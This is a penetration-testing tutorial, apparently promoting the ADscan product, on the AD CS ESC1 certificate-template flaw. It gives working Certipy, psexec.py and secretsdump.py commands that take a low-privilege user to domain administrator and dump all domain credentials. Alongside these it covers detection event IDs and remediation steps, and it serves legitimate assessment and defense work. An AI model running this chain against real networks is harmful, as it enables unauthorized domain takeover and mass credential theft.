ADCS ESC1 Exploitation: From Low-Priv User to Domain Admin

Active Directory Certificate Services is present in roughly 90% of enterprise Active Directory environments. It is infrastructure that organizations deploy, configure once, and largely forget. That combination — near-universal deployment, infrequent auditing — makes ADCS one of the most reliable escalation paths available on an internal engagement.

ESC1 is the most commonly exploitable ADCS misconfiguration. It requires no special privileges to execute, generates minimal noise, and can take a low-privilege domain user to Domain Admin in under five minutes. The conditions for vulnerability are easy to introduce through legitimate administrative actions, and they frequently survive for years without detection. If you are running AD assessments and skipping ADCS enumeration, you are leaving one of the most consistent escalation paths on the table.

MITRE ATT&CK: T1649 — Steal or Forge Authentication Certificates

What Makes a Template ESC1-Vulnerable

ADCS ESC1 exploitation depends on three conditions being simultaneously true on the same certificate template. If any one of them is absent, the attack does not work. When all three are present, the template is fully exploitable by any authenticated domain user.

Condition 1: Enrollee Supplies Subject (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)

This flag allows the certificate requester to specify the Subject Alternative Name (SAN) in the certificate request, rather than having the CA derive it from the requester's own identity. This flag exists for legitimate reasons — device enrollment workflows, VPN certificates, machine identity use cases where the requester needs to specify the identity the certificate should represent. When it is enabled, the CA trusts the requester to supply an accurate subject. There is no validation that the SAN corresponds to the requester's actual account.

Condition 2: Enrollment Rights Granted to Domain Users or Authenticated Users

For the attack to be usable by a low-privilege account, the template's enrollment permissions must grant access to a broad group. Templates that require enrollment by specific, restricted security groups are not exploitable by arbitrary domain users. In practice, many vulnerable templates grant enrollment to Domain Users or Authenticated Users — the broadest possible groups — because the intended use case was to allow any domain user to enroll.

Condition 3: Template Allows Client Authentication EKU

The certificate must be usable for authentication. The Extended Key Usage field on the template must include Client Authentication (1.3.6.1.5.5.7.3.2), Smart Card Logon (1.3.6.1.4.1.311.20.2.2), or any other EKU that allows the certificate to authenticate against Active Directory. Without an authentication EKU, you can obtain a certificate with an arbitrary SAN but cannot use it to authenticate as the target account.

When all three conditions are met, any domain user can submit a certificate request that says "issue me a certificate for [email protected]," and the CA will comply. The resulting certificate authenticates as Domain Admin.

The ADCS ESC Vulnerability Family

ADscan's ADCS module checks for all of these automatically. adscan deliver (PRO) generates a finding entry for each detected ESC condition with CVSS score and remediation.

Step-by-Step ADCS ESC1 Exploitation

Enumerate Vulnerable Templates

The standard tool for ADCS enumeration from a low-privilege position is Certipy. Run it with the -vulnerable flag to filter output to exploitable templates:

certipy find -u [email protected] -p 'Password123!' -dc-ip 10.0.0.1 -vulnerable

Certipy queries LDAP for certificate template configuration and the PKI infrastructure. The -vulnerable flag applies SpecterOps's ESC condition checks automatically. Output is written to JSON and text files.

Look for templates flagged as ESC1. The output will show:

• Template name
• CA name and CA server
• Enrollment rights (which groups can enroll)
• Whether ENROLLEE_SUPPLIES_SUBJECT is set
• Enabled EKUs

Note the template name and the CA name — both are required for the next step.

Request a Certificate for a Privileged Account

With a confirmed ESC1 template and the CA name from the enumeration output, request a certificate specifying the Domain Admin UPN in the SAN:

certipy req \
  -u [email protected] \
  -p 'Password123!' \
  -ca CA-NAME \
  -template VULNERABLE-TEMPLATE-NAME \
  -upn [email protected] \
  -dc-ip 10.0.0.1

Replace CA-NAME with the CA name from Certipy's output (e.g., DOMAIN-CA) and VULNERABLE-TEMPLATE-NAME with the template name. The -upn flag sets the SAN value in the request to the target account's User Principal Name.

If the request succeeds, Certipy saves the certificate and private key as a .pfx file (PKCS12 format). The CA issued a certificate asserting that the holder is [email protected]. No validation of that claim occurred.

Authenticate with the Certificate

Use Certipy to authenticate against the DC using the issued certificate:

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

Certipy uses PKINIT — Kerberos pre-authentication using a public key certificate — to obtain a TGT as the Administrator account. As part of this exchange, Certipy also retrieves the account's NTLM hash via the Kerberos U2U mechanism.

The output gives you:

• A TGT for [email protected] saved to a .ccache file
• The NTLM hash of the Administrator account

Leverage the Hash

With the Administrator NTLM hash, run Pass-the-Hash using impacket tools. For a shell:

psexec.py -hashes :NTLM_HASH [email protected]

For a full domain credential dump via DCSync:

secretsdump.py -hashes :NTLM_HASH [email protected]

Alternatively, use the .ccache TGT directly by setting KRB5CCNAME and running impacket tools with -k -no-pass:

export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass dc.domain.local

The entire chain — from low-priv domain user to full domain credential dump — completes in under five minutes on a cooperative CA.

ADscan Workflow for ESC1

Manual ADCS enumeration works, but it requires knowing what to look for, interpreting Certipy's output correctly, and understanding how the template fits into the broader attack path. ADscan handles the enumeration automatically as part of its standard domain assessment.

After authenticating with start_auth, ADscan's ADCS module runs as part of the full enumeration. It queries the PKI infrastructure, evaluates each certificate template against the ESC condition criteria, and surfaces vulnerable templates in the findings list with an exploitability rating. You do not need to run Certipy separately or interpret raw JSON output.

The attack path graph maps ESC1 templates as nodes connected to the Domain Admin path. If a template allows any domain user to escalate to DA, that path is visible in the graph with the intermediate nodes showing the template, the CA, and the target account.

ADscan flags templates by severity. An ESC1 template granting enrollment to Domain Users with a Client Authentication EKU appears as a critical finding, ranked above ESC conditions that require more specific prerequisites.

With ADscan PRO, adscan deliver generates the client-facing finding section automatically. The ADCS ESC1 finding includes CVSS 9.8 scoring, evidence (the vulnerable template configuration, the enrollment rights, the EKUs), and a remediation section with specific steps tailored to the environment. The output is formatted for inclusion in the pentest report without manual editing.

Request PRO beta — 90 days free.

Why ESC1 Is So Common

The conditions for ESC1 are not accidents — they are the result of legitimate administrative decisions made without understanding the security implications.

ENROLLEE_SUPPLIES_SUBJECT has genuine use cases. VPN infrastructure, device enrollment workflows, and certificate automation pipelines sometimes require the requester to specify the subject. An administrator enabling this flag to solve a deployment problem is not making an irrational decision; they are solving the immediate problem without knowing that they are also enabling arbitrary impersonation.

Many vulnerable templates are copies of built-in Windows templates. When an administrator needs a new template, copying an existing one and modifying it is the standard workflow. If the source template had ENROLLEE_SUPPLIES_SUBJECT set, the copy inherits it. The flag travels silently through template lineage.

Enrollment rights default to broad groups in many organizations because the intended use case was broad enrollment. A template intended for VPN certificates "for all employees" naturally gets enrollment rights granted to Domain Users. The same configuration that makes enrollment convenient makes it exploitable.

Legacy environments are the worst-case scenario. A template enabled in 2016 for a VPN rollout, with ENROLLEE_SUPPLIES_SUBJECT set and Domain Users enrollment, may have been running untouched for a decade. No one audits certificate templates. No one reviews ADCS configuration during routine security reviews. The template persists.

Detection

The primary detection signal for ESC1 exploitation is in the certificate issuance events on the CA server.

Event ID 4886 (Certificate Services received a certificate request) and Event ID 4887 (Certificate Services approved a certificate request and issued a certificate) are generated on the CA for every certificate issuance. These events include the requester identity, the template used, and — critically — the SAN values included in the certificate.

Detection logic: alert when the SAN in a certificate request does not match the requester's own identity. A certificate requested by [email protected] that contains a SAN of [email protected] is an unambiguous indicator of ESC1 exploitation.

Additional signals to monitor:

• PKINIT authentication events: Event ID 4768 (Kerberos TGT request) with pre-authentication type 16 (certificate-based) for privileged accounts from non-privileged workstations
• Certipy leaves a characteristic LDAP query fingerprint during enumeration — large result sets querying pKICertificateTemplate objects
• Unusual certificate template usage: if a template designed for one purpose suddenly starts seeing enrollment from many different users, that warrants investigation

Microsoft Defender for Identity includes ESC1 detection in newer versions. It correlates certificate issuance events with authentication events to identify cases where a certificate is used to authenticate as a different identity than the one that requested it.

SIEM queries should baseline normal CA issuance volume per template and alert on spikes, particularly from workstations or user accounts that do not normally request certificates.

Remediation

Fixing ESC1 is straightforward once the vulnerable templates are identified. The changes are made directly on the certificate template configuration.

Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from any template where it is not strictly required. Open the Certificate Templates console (certtmpl.msc), navigate to the vulnerable template, and on the Subject Name tab, disable "Supply in the request." If the template's use case genuinely requires enrollee-supplied subjects, evaluate whether a separate, tightly restricted template can serve that use case.

Restrict enrollment to specific security groups. Remove Domain Users and Authenticated Users from the template's enrollment permissions. Create a dedicated security group for accounts that legitimately need to enroll on that template. Membership in that group should require explicit authorization.

Enable Manager Approval for sensitive templates. For any template that grants significant capabilities — authentication EKUs, ENROLLEE_SUPPLIES_SUBJECT, or both — enable the "CA certificate manager approval" flag. This requires a CA administrator to explicitly approve each certificate request before issuance. It eliminates opportunistic exploitation while preserving the template's legitimate use.

Audit ADCS configuration regularly. ESC1 and the other ESC conditions identified by SpecterOps are not static — new templates can be created and misconfigured at any time. Include ADCS enumeration in every internal AD assessment. Run ADscan's ADCS scan on a scheduled basis to catch new misconfigurations before they are exploited.

Conclusion

ADCS ESC1 exploitation is one of the most reliable escalation paths available on internal AD assessments. The attack is trivial to execute, requires only a low-privilege domain account, and completes in minutes. The conditions for vulnerability are common because they arise from legitimate administrative decisions made without security context.

Every AD pentest should include ADCS enumeration. If the environment runs Active Directory Certificate Services — and 90% of enterprise environments do — ESC1 and related conditions must be checked. Not checking them means missing a critical finding that may already be exploitable.

ADscan automates this enumeration as part of its standard domain assessment workflow. No manual Certipy runs, no JSON parsing, no cross-referencing template conditions by hand.

• Download ADscan LITE: https://github.com/ADScanPro/adscan
• Request PRO beta: https://adscanpro.com/pro